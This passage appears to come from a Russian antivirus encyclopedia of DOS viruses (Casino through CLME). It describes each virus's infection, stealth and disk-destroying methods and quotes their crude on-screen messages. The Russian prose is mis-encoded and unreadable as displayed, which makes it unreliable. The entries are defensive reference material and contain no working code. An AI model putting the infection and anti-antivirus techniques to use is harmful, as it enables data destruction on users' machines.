I have just DESTROYED the FAT on your Disk !!
However, I have a copy in RAM, and I`m giving you a last chance
to restore your precious data.
WARNING: IF YOU RESET NOW, ALL YOUR DATA WILL BE LOST - FOREVER !!
Your Data depends on a game of JACKPOT
CASINO DE MALTE JACKPOT
ÉÍ» ÉÍ» ÉÍ»
×Ü× ×?× ×Û×
Èͼ Èͼ Èͼ
CREDITS : 5
ÜÜÜ = Your Disk
??? = My Phone No.
ANY KEY TO PLAY
 äàëüíåéøåì åñëè "âèðóñ ïðîèãðàåò",òî îí âîññòàíîâèò ñîäåðæèìîå äèñêà.
 çàâèñèìîñòè îò ðåçóëüòàòîâ èãðû âûâîäèòñÿ îäíî èç ñëåäóþùèõ òåêñòîâ:
BASTARD ! You`re lucky this time - but for your own sake, now
SWITCH OFF YOUR COMPUTER AND DON`T TURN IT ON TILL TOMORROW !!!
No Fuckin` Chance; and I`m punishing you for trying to trace me down !
HA HA !! You asshole, you`ve lost: say Bye to your Balls ...
Cat.2770, 2898
Î÷åíü îïàñíûå ñòåëñ-âèðóñû. Çàðàæàþò ôàéë c:\command.com, åñëè îí
ñóùåñòâóåò. Â äàëüíåéøåì çàðàæàþò òîëüêî .COM è .EXE-ôàéëû, ñîçäàâàåìûå
(f.3Ch INT 21h) íà äèñêàõ A: èëè B: ïðè èõ çàêðûòèè (f.3Eh INT 21h).
Ò.î., â ñèñòåìå ìîæåò áûòü òîëüêî îäèí çàðàæåííûé ôàéë c:\command.com.
 COM-ôàéëàõ ëèáî èçìåíÿþò 6 ïåðâûõ áàéò, åñëè ïåðâàÿ èíñòðóêöèÿ íå
JUMP, èëè 6 áàéò èç àäðåñà ïåðâîãî ïåðåõîäà, åñëè ïåðâàÿ êîìàíäà -
JUMP, íà êîìàíäû ïåðåäà÷è óïðàâëåíèÿ îñíîâíîìó âèðóñíîìó êîäó, êîòîðûé
íàõîäèòñÿ â êîíöå ôàéëà. Cat.2898 ïðè ñòàðòå ïðîãðàìì, íà÷èíàþùèõñÿ íà
AD (ADINF), AI (AIDSTEST) óäàëÿåò âèðóñíûé êîä èç ôàéëà c:\command.com,
à ïîòîì ñíîâà çàðàæàåò åãî. Cat.2770 1-ãî ÷èñëà ìåñÿöà ïûòàåòñÿ
óíè÷òîæèòü èíôîðìàöèþ íà ïåðâîì æåñòêîì äèñêå, çàïèñûâàÿ â ñåêòîðà
ïîâòîðÿþùóþñÿ ñòðîêó "Little Cat", ïîñëå ÷åãî âûâîäèò òåêñò:
Hello! I am the Little Cat - lovely VIRUS !
Cat.2898 29-ãî äåêàáðÿ óíè÷òîæàåò èíôîðìàöèþ íà ïåðâîì æåñòêîì äèñêå è
âûâîäèò òåêñò:
Happy New Year! I am the Little Cat 1.5 - your best friend!
Caterpillar (1-11)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ïåðâûì äåëîì ïðè ñòàðòå âèðóñ ïûòàåòñÿ
çàðàçèòü êîìàíäíûé ïðîöåññîð C:\COMMAND.COM. Ïåðåõâàòûâàþò INT 1Ch,
21h. ×åðåç íåêîòîðîå âðåìÿ ïîñëå óñòàíîâêè â ïàìÿòü âèðóñû "âûïóñêàþò"
íà ýêðàí çåëåíóþ ãóñåíèöó "¢þ", êîòîðàÿ ïîëçàÿ ïî ýêðàíó,
"ïîåäàåò" åãî.
Catholic.1129
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà ìîæåò âûâåñòè òåêñò:
May The Peace Be With You....
ROB DA MOB FUCK YA !
CATHOLIC CORRUPTED GAY!
Ccc.381
Ñîäåðæèò òåêñò "CCC1".
CDJoke.848
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Åñëè â êîìïüþòåðå óñòàíîâëåíî
CD-ROM óñòðîéñòâî, òî âèðóñ "ïåðåõâàòûâàåò" INT 16h è ïåðèîäè÷åñêè
îòêðûâàåò-çàêðûâàåò CD-ROM drive. Ñîäåðæèò òåêñò "CD Joke II by NemO".
Cease.382
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè îáíàðóæåíèè òðàññèðîâêè ðåçèäåíòíîé
êîïèè âèðóñ çàïèñûâàåò â îáðàáîò÷èê INT 01 ïðîöåäóðó çàâåðøåíèÿ
ïðîãðàììû:
MOV AX,4C00h
INT 21h
CeCe.1703, 1994, 1998
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ñîäåðæàò îøèáêó èç-çà
êîòîðîé âèðóñû íå ïðîâåðÿþò íàëè÷èÿ ñâîåé ðåçèäåíòíîé êîïèè â ïàìÿòè è
ìíîãîêðàòíî çàðàæàþò ïàìÿòü. Ïðè 1000îì âûçîâå INT 21h íà ýêðàíå
ïîÿâëÿåòñÿ ïðîëåòàþùèé ñëåâà íàïðàâî îáúåêò, íàïîìèíàþùèé ìóõó.
Ñîäåðæàò òåêñòû:
CeCe.1703:
Hacked by Crazy Hacker
ñàìîõîäíûå øàpîâàpû
die Denis Ermakov
CeCe.1994, 1998:
Welcome to presentation of new program, named Ce-Ce!!!
Can you recognize what does it mean?
1. Do you know the fly living in the Africa?
2. Do you know int3 command opcode?
3. Do you know that 0CCh is equal to 204?
4. Do you know that CC is Computer Center abriviature?
5. Do you know the name of main hero in Santa Barbara?
6. Do you know ...
Chance (1-4)
Håîïàñíûå çàãðóçî÷íûå ñòåëñ-âèðóñû. 8 äåêàáðÿ âûâîäÿò íà ýêðàí ñòðîêó:
îAll we are saying is give peace a chanceï (J. Lennon)
Òàêæå ñîäåðæàò òåêñò:
The John Lennon virus wishes love and peace to everyone
who's got the chance to read this! All my loving to INO!!
Chaos.1181, 1241
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Chaos.1181 13 ÷èñëà óñòàíàâëèâàåò INT
09, 13h è ÷åðåç íåêîòîðîå âðåìÿ âûâîäèò ñîîáùåíèå "CHAOS!!! Another
Masterpiece of Faust..." è óíè÷òîæàåò ñîäåðæèìîå ñåêòîðîâ ïåðâîãî
æåñòêîãî äèñêà. Chaos.1241 â ñåíòÿáðå "ïåðåõâàòûâàåò" INT 13h è ïðè
îáðàùåíèè ê äèñêó óíè÷òîæàåò åãî ñîäåðæèìîå, ïîñëå ÷åãî âûâîäèò òåêñò
"I see, I come, I conquer... Trojan horse-CHAOS v2.0 by Faust".
Check.282
Óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â îáëàñòü ïîâòîðÿþùèõñÿ íóëåé, â
ïàìÿòü äî àäðåñà 1000:0000. Ñîäåðæèò òåêñòîâóþ ñòðîêó "ChecK1".
Checkbox.936
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðâûì äåëîì ïûòàåòñÿ çàðàçèòü ôàéë
C:\DOS\SMARTDRV.EXE. Ïðè ïîÿâëåíèè íà ýêðàíå ñòðîê "checkboxports",
"givegodmode", "iamtheboss" âèðóñ ïðåäïðèíèìàåò íåêîòîðûå äåéñòâèÿ
ïî ïåðåâîäó êîíñîëè íà COM-ïîðò, ÷åðåç êîòîðûé, âîçìîæíî, ñîåäèíåíèå
âçëîìùèêà ñ èíôèöèðîâàííûì êîìïüþòåðîì.
CheckSum.1232, 1233
Ïðîâåðÿþò êîíòðîëüíóþ ñóììó. È åñëè îíà íå ñîîòâåòñòâóåò èñòèííîé,
âèðóñû ðåçèäåíòíî â ïàìÿòü íå óñòàíàâëèâàþòñÿ.
Cheolsoo
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñò "All computing and no play
makes Cheolsoo a dull boy!".
Cherry.2266
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ ñ "çàäàòêàìè" ïîëèìîðôèêà.
"Ïåðåõâàòûâàåò" INT 8, 21h. Èíîãäà âûâîäèò òåêñò:
ÛßÛÞÛ ÛÞÛÛÞÛÛÞÛÛÞÛ ÛÄÍSTEALTH MUTANTÍÄ Best......................
Û¦ ÞÛÜÛÞÛÜÞÛÚÞÛÚÞÛÜÛ¦Arkhangelsk'95....................................
ÛÜÛÞÛÚÛÞÛÜÞÛ¦ÞÛ¦ ÞÛÚÙÀÃÒÓ/ÝÏÏ/IV.......................................
ÄÄÄÙÄÙÄÙÄÄÙÄÙ ÄÙ ÄÙ Hi000 Sc000 L20...................................
È ðèñóåò ñëó÷àéíóþ êàðòèíêó èç çâåçäî÷åê "*". Ïðè äîñòèæåíèè íåêîòîðûõ
çíà÷åíèé â ñîáñòâåííûõ ïåðåìåííûõ âèðóñ ïðîñèò ââåñòè èìÿ ïîëüçîâàòåëÿ
"Enter your name :....", êîòîðîå çàïèñûâàåò â ïîëå "Best". Íå ðàáîòàåò
íà ïðîöåññîðå Pentium.
Chigi
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Èíîãäà ïðè çàãðóçêå ñèñòåìû âûâîäèò òåêñò
"IF YOU WANT TO FUCK CALL 575-52-94 LERA!!!!". Èìååòñÿ òàêæå ñòðîêà
"CHIGI".
ChinBomb.1492
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ, çàðàæàþùèé òîëüêî îäèí ôàéë -
COMMAND.COM. Ìîæåò óíè÷òîæèòü ñîäåðæèìîå 400 ñåêòîðîâ æåñòêîãî äèñêà,
ïîñëå ÷åãî âûâåäåò ñîîáùåíèå:
---- C h i n e s e B o m b ----
( Made in China 1989 )
ChineseFish
Íåîïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Ðàçìåùàåò ñâîþ ðåçèäåíòíóþ êîïèþ ïî
àäðåñó 8F20:0000 áåç èçìåíåíèÿ ðàçìåðà ïàìÿòè DOS. Âèðóñ ïûòàåòñÿ
çàìåñòèòü ñâîèì êîäîì âèðóñû ñåìåéñòâà Stoned. 1 è 17 ÷èñëà ìåñÿöà
âûâîäèò òåêñò:
Hello! I am FISH, please don't kill me.
Congratulate 80th year of the Republic Of
China Building,Fish will help to kill stone
Written by Fish in NTIT. TAIWAIN 80.10.18
Cholera.1497
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñóùåñòâóþò äâå ìîäèôèêàöèè íåçíà÷èòåëüíî
îòëè÷àþùèåñÿ äðóã îò äðóãà. Ñîäåðæàò òåêñòîâûå ñòðîêè:
Cholera.1497 (1) - "Cholera v1.0 by dr Hellraiser 94-02-03";
Cholera.1497 (2) - "Cholera v2.0 by dr Fleischman 93-12-29".
Chukcha.554, 838
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Ïðè çàïóñêå èíôèöèðîâàííîãî ôàéëà, åñëè
íå óêàçàíà äëÿ íåãî êîìàíäíàÿ ñòðîêà, òî âèðóñû ïðîèçâîäÿò ïîèñê è
çàðàæåíèå COM-ôàéëîâ. Â ïðîöåññå çàðàæåíèÿ âèðóñû ñîçäàþò ôàéë
÷óê÷à.!!!, çàïèñûâàþò â íåãî âèðóñíûé êîä, ïîòîì çàïèñûâàþò êîä
íàéäåííîãî COM-ôàéëà, ïîñëå ÷åãî óíè÷òîæàþò COM-ôàéë, à ôàéë ÷óê÷à.!!!
ïåðåèìåíîâûâàþò â èñõîäíûé COM-ôàéë. Ïîñëå ýòîãî âûâîäèòñÿ òåêñò:
ÒÂÎß ÌÎß ÍÅ ÇÀÏÓÑÊÀÉ, ÌÎß ÂÈÐÓÑÎÌ ÇÀÐÀÇÈËÀÑÜ ÎÄÍÀÊÎ !
Åñëè êîìàíäíàÿ ñòðîêà ïðèñóòñòâóåò ïðè ñòàðòå çàðàæåííîé ïðîãðàììû, òî
âèðóñû óäàëÿþò ñâîé êîä èç ôàéëà-æåðòâû è âûâîäÿò òåêñò:
ÍÅ ÁÎÈÑÜ, ÏÀÐß, ÌÎß ÌÀËÅÍÜÊÎ ÏÎØÓÒÈË !
Cicada
Îïàñíûé çàãðóçî÷íûé âèðóñ. 10 èþëÿ óíè÷òîæàåò ñîäåðæèìîå ïåðâîãî
æåñòêîãî äèñêà è âûâîäèò òåêñò:
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ÛÛ
ÛÛ±±ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»±±ÛÛ
ÛÛ±±º ÚÄÄÄÄÄÄÄÄÄÄÄÄÄĬº±±ÛÛ
ÛÛ±±º ÛÛÛÛÛ± ÛÛ± ÛÛ± ¦Golden Cicada ö±±ÛÛ
ÛÛ±±º ÛÛ± ÛÛ± ÛÛÛÛ± ÛÛ± ÛÛÛÛÛ± ÛÛÛÛ± ÛÛ± ÛÛ± ¦ Virus! ¦º±±ÛÛ
ÛÛ±±º ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛÛÛ±ÛÛ± ¦ Version Pro. ¦º±±ÛÛ
ÛÛ±±º ÛÛ± ßÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛßß ÛÛ± ÛÛ± ¦June 10, 1994.ö±±ÛÛ
ÛÛ±±º ÛÛÛÛÛ± ÛÛÛÛ± ÛÛ± ÛÛÛÛßÛ± ÛÛÛÛ± ÛÛ± ÛÛ± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº±±ÛÛ
ÛÛ±±º º±±ÛÛ
ÛÛ±±º ÛÛÛÛÛ± ÛÛ± ÛÛ± º±±ÛÛ
ÛÛ±±º ÛÛ± ÛÛ± ÛÛ± ÛÛÛÛ± ÛÛÛÛ± ÛÛÛÛÛ± ÛÛÛÛ± ÛÛ± º±±ÛÛ
ÛÛ±±º ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± º±±ÛÛ
ÛÛ±±º ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± º±±ÛÛ
ÛÛ±±º ÛÛÛÛÛ± ÛÛ± ÛÛÛÛ± ÛÛÛÛßÛ± ÛÛÛÛßÛ± ÛÛÛÛßÛ± ÛÛ± º±±ÛÛ
ÛÛ±±º º±±ÛÛ
ÛÛ±±ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹±±ÛÛ
ÛÛ±±º Something wonderful was happened! Your PC is now Stoned! And your º±±ÛÛ
ÛÛ±±º PC was out of order that all the doctor's efforts were in vain! Ha! º±±ÛÛ
ÛÛ±±º Ha! Ha! Ha! Serve you right!! I dont' want to damage your hard disk! º±±ÛÛ
ÛÛ±±º But...write some trash into your hard disk now!! Well! Beware of thisº±±ÛÛ
ÛÛ±±º virus, don't copy software without any payments! Okay! Goodbye!!.... º±±ÛÛ
ÛÛ±±ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ±±ÛÛ
ÛÛ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
CityFire.1679
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò òåêñò:
This city is on fire tonight..
Recognize me
CivilDefence.10, CivilDefence.11
Îïàñíûå ôàéëîâî-çàãðóçî÷íûå ñòåëñ-âèðóñû. Èíîãäà ïðè çàãðóçêå âûâîäÿò
ñîîáùåíèå:
Õðåíîâàÿ âåðñèÿ DOS
Çàìåíåíà.
Press any key
À òàêæå ìîãóò âûâåñòè ñëåäóþùèå ñîîáùåíèÿ:
CIVIL DEFENSE VIRUS VER 1.0 (èëè CIVIL DEFENSE VIRUS VER 1.1)
Formating disc c: complete.
Format another ? (y/n)
Åñëè ââåñòè 'N', òî áóäåò âûâåäåíî:
Ýõ, êàê æàëü, âåäü ìíå òàê õîòåëîñü ý ò î ñäåëàòü ...
Åñëè æå íàæàòü 'Y', òî âèðóñû èìèòèðóþò ôîðìàòèðîâàíèå äèñêà è âûâîäÿò:
Hard disk 1 formated. All your data lost.
How are you feel now ?
Âîçìîæåí âûâîä ñëåäóþùèõ òåêñòîâ:
ÕÀ - ÕÀ - ÕÀ !!!
ÑËÀÂÀ Ê Ï Ñ Ñ !
ÍÀÐÎÄ È ÏÀÐÒÈß ÅÄÈÍÛ !
ÏÐÈÂÅÒ ÎÒ Ã Ê × Ï!
Ãðå÷íåâûì ÷àâêàíüåì ñèëüíîé ëè÷íîñòè
Ñëîâåñòíîãî ïîíîñà è ðüÿíîé êàâàëåðèåé
Òû çàáåéñÿ â ñòî÷íîé ÿìî÷êå,
Ìÿãêîé äûðî÷êå,
Ïóëÿìè îñòàâëåííîé.
Âåäü ëó÷øå ñòó÷àòü,÷åì ïåðåñòóêèâàòüñÿ-
Àíîíèìíàÿ ôèëîñîôèÿ ïðîäàâøèõñÿ çàæèâî
Çà êîëîññàëüíûé áåñöåíîê,
Çàæèâî ïîãðåáåííûõ.
Ëåòíþþ ðåçèíó èçíîøåííûõ ïðîêëàìàöèé
Îáèëüíî ñìî÷åííûõ ïñèõîàíàëèçîì.
Åäèíûì ôðîíòîì íà ïî÷âå ñîåâîé
Ñëîâíî ðûáêà ñ ðàñòðà÷åííîé èìïîòåíöèåé
Òû, âåäóùèé, áëÿ íà íîâûå ïîäâèãè
Ìåðçëîé âåòî÷êîé îïüÿíåíèÿ
Êîâûðíè, êîâûðíè â ìûëüíîì âàðåâå
Íåâûíîñèìî íåâèííîãî ïðîøëîãî
 ìûëüíîì âàðåâå õëåáà ñúåäåííîãî.
À íåáî âñå òî÷íî òàêîå æå,
Êàê åñëè áû òû íå ïðîäàëñÿ ...
Å.Ëåòîâ, "Ãðàæäàíñêàÿ îáîðîíà"
Èìååòñÿ òåêñò
/\/\/\/\ ÂÀÑ ÏÐÈÂÅÒÑÒÂÓÅÒ ÂÈÐÓÑ CDV Ver 1.0 (c) 1992 Í-ñê ÍÝÒÈ ÀÑÓ
/\/\/\/\/\/\/\".
èëè
/\/\/\/\ ÂÀÑ ÏÐÈÂÅÒÑÒÂÓÅÒ ÂÈÐÓÑ CDV Ver 1.1 (c) 1992 Í-ñê ÍÝÒÈ ÀÑÓ
/\/\/\/\/\/\/\".
CivilDefence.33, CivilDefence.38, CivilDefence.39, CivilDefence.3A,
CivilDefence.3B
Î÷åíü îïàñíûå ôàéëîâî-çàãðóçî÷íûå ñòåëñ-âèðóñû. Ïðè ñòàðòå
èíôèöèðîâàííîãî ôàéëà, âèðóñû çàðàæàþò MBR "âèí÷åñòåðà", çàìåíèâ â MBR
28h íà÷àëüíûõ áàéò íà êîä âèðóñíîãî çàãðóç÷èêà. Èñòèííûå æå áàéòû MBR
âèðóñû êîïèðóþò ïî ñìåùåíèþ 10h â ñåêòîð, ïðèíàäëåæàùèé ïåðâîìó
ðàñøèðåííîìó ðàçäåëó DOS (Extended DOS Partition), åñëè òàêîâîé
ñóùåñòâóåò íà äèñêå. Åñëè æå EDP íå ñóùåñòâóåò, òî âèðóñû êîïèðóþò 28h
áàéò âî âòîðîé ñåêòîð äèñêà. Òàáëèöó ëîãè÷åñêèõ äèñêîâ â ðàñøèðåííîì
ðàçäåëå DOS (ñìåùåíèå +1BEh) âèðóñû øèôðóþò. Ñâîå îñíîâíîå òåëî âèðóñû
ðàçìåùàþò â 13 ñåêòîðàõ ñðàçó æå çà ïåðâûì Extended DOS Partition èëè
íà÷èíàÿ ñ 3-ãî ñåêòîðà äèñêà. Ïîñëå ÷åãî âèðóñû óäàëÿþò ñåáÿ èç
çàïóùåííîé ïðîãðàììû. Àêòèâèçàöèÿ âèðóñîâ â ïàìÿòü ïðîèñõîäèò ïîñëå
ïåðâîé æå ïåðåçàãðóçêè ñèñòåìû ñ æåñòêîãî äèñêà. Ïðè çàãðóçêå
èíôèöèðîâàííîãî MBR, âèðóñû ñ÷èòûâàþò ñâîå òåëî ñ äèñêà â ïàìÿòü ïî
àäðåñó 4020:0000h è ïåðåõâàòûâàþò ïðåðûâàíèÿ 08 (òàéìåð), 09
(êëàâèàòóðà), 13h (äèñê), 17h (ïðèíòåð). Ïðè îáðàùåíèè ê ñåêòîðó EDP
÷åðåç INT 13h âèðóñû ðàñøèôðîâûâàþò òàáëèöó ëîãè÷åñêèõ äèñêîâ â ïàìÿòè.
Äàëåå âèðóñû ñëåäÿò çà èçìåíåíèåì INT 21h - åñëè îíî èçìåíèëîñü, âèðóñû
ïåðåõâàòûâàþò åãî. Ïðè çàïóñêå ëþáîé ïðîãðàììû, âèðóñû ïåðåìåùàþò ñâîå
òåëî â ñâîáîäíûå àäðåñà ïàìÿòè (f.48h INT 21h). Âî âðåìÿ çàãðóçêè
âèðóñû ìîãóò ïåðåñòàâèòü âåêòîð INT 26h (çàïèñü íà äèñê) íà INT 16h
(êëàâèàòóðà) è âûâåñòè ñîîáùåíèå:
Fucking MS-DOS version
Pissed off
Kick any key
è æäàòü íàæàòèÿ íà êëàâèøó, òåì ñàìûì ñòèðàÿ èíôîðìàöèþ â ñëó÷àéíûõ
ñåêòîðàõ äèñêà. Èíîãäà ïðè íàæàòèè íà Ctrl-Alt-Del, âèðóñû ìîãóò
âûâåñòè íà çåëåíîì ôîíå "ôèëîñîôñêèé" òåêñò:
Çàâòðà áóäåò ñêó÷íî è ñìåøíî,
Ýòî íå áîëüíî - ïðîñòî â÷åðà áûë äåíü.
Çàâòðà áóäåò âå÷íî è ãðåøíî,
Ýòî íå âàæíî - âàæåí ëèøü öâåò òðàâû.
Ñîëü ïðîñûïàíà íà ëàäîíü.
Îíà ðàññûïàíà íà ëàäîíè...
Ìûøåëîâêà çàõëîïíóëàñü!
Åãîð Ëåòîâ, ÃÐÀÆÄÀÍÑÊÀß ÎÁÎÐÎÍÀ
Ïðîèçâîäÿò âñÿ÷åñêèå ìàíèïóëÿöèè ñ INT 09, ïðè ýòîì íàæàòèÿ êëàâèø
ìîãóò èãíîðèðîâàòüñÿ. Ïðè îòêðûòèè ôàéëà (f.3Dh INT 21h) âèðóñû â
âûïîëíÿåìîé ïðîãðàììå ïî îïðåäåëåííîìó àäðåñó, åñëè ñëîâî ïî ýòîìó
àäðåñó F19Ah (?), ìîãóò èçìåíèòü 5 áàéò íà ïîñëåäîâàòåëüíîñòü NOP'îâ
(90h). Ïðè çàïèñè íà ýêðàí (f.40h BX=1 èëè BX=2 INT 21h) âèðóñ èùóò
ïîñëåäîâàòåëüíîñòü âûâîäèìûõ áóêâ "Ëoçèíñêèé ", è åñëè îíè íàéäåíû, òî
èùóò ñèìâîë BCh - '¼'. Åñëè æå è îí íàéäåí, òî âèðóñû, âèäèìî,
ïðåäïîëàãàÿ, ÷òî çàïóùåí ïîïóëÿðíûé àíòèâèðóñ Aidstest, îïðåäåëÿþò PSP
òåêóùåé çàäà÷è è ïûòàþòñÿ îïðåäåëèòü èìÿ ýòîé ïðîãðàììû. Îòêðûâàþò
äàííûé ïðîãðàììíûé ôàéë è îïðåäåëÿþò åãî äàòó ñîçäàíèÿ (f.5700h INT
21h). Åñëè ôàéë ñîçäàí äî ñåíòÿáðÿ 1992 ãîäà, òî âèðóñû íå
ïðåäïðèíèìàþò íèêàêèõ ìåð. Åñëè æå ïîçæå - òî ëèáî âèðóñû "âåøàþò"
ñèñòåìó, ëèáî âûâîäÿò íà ýêðàí ñîîáùåíèå, ïðèìåðíî, ñëåäóþùåãî âèäà:
Âíèìàíèå:
Îáíàðóæåí âèðóñ CDV 3.3 (Civil Defence Virus)
Íåèçëå÷èì. Äëÿ óñòðàíåíèÿ èñïîëüçóéòå óòèëèòó FORMAT.COM
èëè:
Âíèìàíèå:
Îáíàðóæåí âèðóñ CDV 3.9 (Civil Defence Virus)
Íåèçëå÷èì. Äëÿ óñòðàíåíèÿ èñïîëüçóéòå óòèëèòó PREFOR.COM
ïîñëå ÷åãî îñòàíàâëèâàþò ðàáîòó Aidstest è ïðîèçâîäÿò âûõîä â DOS.
EXE-ôàéëû âèðóñ çàðàæàåò òîëüêî íà äèñêå A: èëè B: ïðè èõ ïîèñêå
(f.4Eh,4Fh INT 21h). Ôàéëû ìåíüøå 8000 áàéò íå çàðàæàþòñÿ. Ïðîâåðêó
çàùèùåííîñòè äèñêåòû îò çàïèñè âèðóñû ïðîâåðÿþò ïîñðåäñòâîì ÷òåíèÿ è
çàïèñè ëîãè÷åñêîãî ñåêòîðà äèñêà INT 25h, INT 26h. Ïðè ïå÷àòè íà
ïðèíòåð ìîãóò âûâîäèòü íåöåíçóðíóþ áðàíü. Ñîäåðæàò òåêñòû:
(c) 1992 Íîâîñèáèðñê,
Öåíòð ïðîãðàììèðîâàíèÿ íîâîñèáèðñêîãî ôýí-êëóáà Ãðàæäàíñêîé Îáîðîíû.
ÃÐÀÆÄÀÍÑÊÀß ÎÁÎÐÎÍÀ - ÂÑÅÍÀÐÎÄÍÎÅ ÄÅËÎ!!! Õ Î É !!!
CivilDefence.33 -
Òîâàðèù ëîçèíñêèé! CDV íåïîáåäèì - âû çðÿ òðàòèòå âðåìÿ,
ïûòàÿñü âûëå÷èòü ñðàíûå êîìïüþòåðû.
Âàñ Ïðèâåòñòâóåò Civil Defence Virus ( CDV ver 3.3 )
CivilDefence.38 -
Punk not dead!
Ò. ëOçèíñêèé! Ïîçäðàâëÿåì âac c ócïeøíoé cmeíoé âAØEÉ ôamèëèè íà áîëåå
ëàòèíñêóþ.,
See you later...
Âàñ Ïðèâåòñòâóåò Civil Defence Virus ( CDV ver 3.8 )
CivilDefence.39 -
(c) 1993 Modified by Civilizator. 38.43.93 ã
Fuck to Ëozèíckié. Happy changing name. Is it get you down? Yeah!
Isn't it?
Punk not dead!
Âàñ Ïðèâåòñòâóåò Civil Defence Virus ( CDV ver 3.9 )
CivilDefence.3A -
(c) 1993 Modified by Civilizator.
Fuck to Ëozèíckié. Happy changing name. Is it get you down? Yeah!
Isn't it?
Punk not dead!
Âàñ Ïðèâåòñòâóåò Civil Defence Virus ( CDV ver 3.A )
CivilDefence.3B -
(c) 1993 Modified by Civilizator.
Âàñ Ïðèâåòñòâóåò Civil Defence Virus ( CDV ver 3.B )
Claudia.8772
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïîñëå 25 àâãóñòà âûâîäèò íà
ýêðàí òåêñò:
Das ist ClaudiaSchiffer virus by OS
Sometimes when U stroling down the
Avenue the way U walk it makes men
Thinkof HAVING U when U walking
Down the street everybody stops
& turns 2 stare at U! (IrM)
Hope 2 meet U...somewhere in time
 ëåâîì íèæíåì óãëó ýêðàíà òàêæå íàõîäèòñÿ ôîòîãðàôèÿ Êëàóäèè Øèôôåð.
Âèäèìî, î÷åíü ëþáèò ÷åëîâåê èç Ñåðïóõîâà Êëàóäèþ... Ìîæåò áûòü îíè,
äåéñòâèòåëüíî, êîãäà-íèáóäü âñòðåòÿòñÿ...
Cli.1313
Îïàñíûé ðåçèäåíòíûé âèðóñ. 2 ôåâðàëÿ óíè÷òîæàåò MBR ïåðâîãî äèñêà.
Cli&Hlt.1345
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Âûçûâàåò INT 02, ìåíÿåò öâåòà
ñèìâîëîâ íà ýêðàíå. Ñîäåðæèò òåêñò "** (C) CLI&HLT Hackers Group **".
Click.329,375
Èçäàþò çâóêîâîé ñèãíàë ïðè çàðàæåíèè êàæäîãî ôàéëà.
CLME-âèðóñû
CLME (Crazy Lord Mutation Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîçäàí âèðóñîïèñàòåëåì ïî "êëè÷êå" Crazy
Lord.
CLME.Ming.1528
Ïîëèìîðôíûé íåðåçèäåíòíûé âèðóñ. Åñëè çíà÷åíèå ñåêóíä âî âðåìÿ ñòàðòà
çàðàæåííîãî ôàéëà - 2, òî âèðóñ âûâîäèò íà ýêðàí òåêñò:
Written by Crazy Lord (Ming)...Using CLME v0.61
Ñîäåðæèò òàêæå ñòðîêó "CLME V0.61".
CLME.Ming.1952
Îïàñíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò èíñòðóêöèè i386. Ïðè íåîñòîðîæíîé
òðàññèðîâêå âèðóñíîãî êîäà ìîæåò óíè÷òîæèòü 34 ïåðâûõ ñåêòîðîâ âñåõ
äîñòóïíûõ ôèçè÷åñêèõ äèñêîâ. Íå çàðàæàåò ôàéëû îêàí÷èâàþùèåñÿ íà AN,
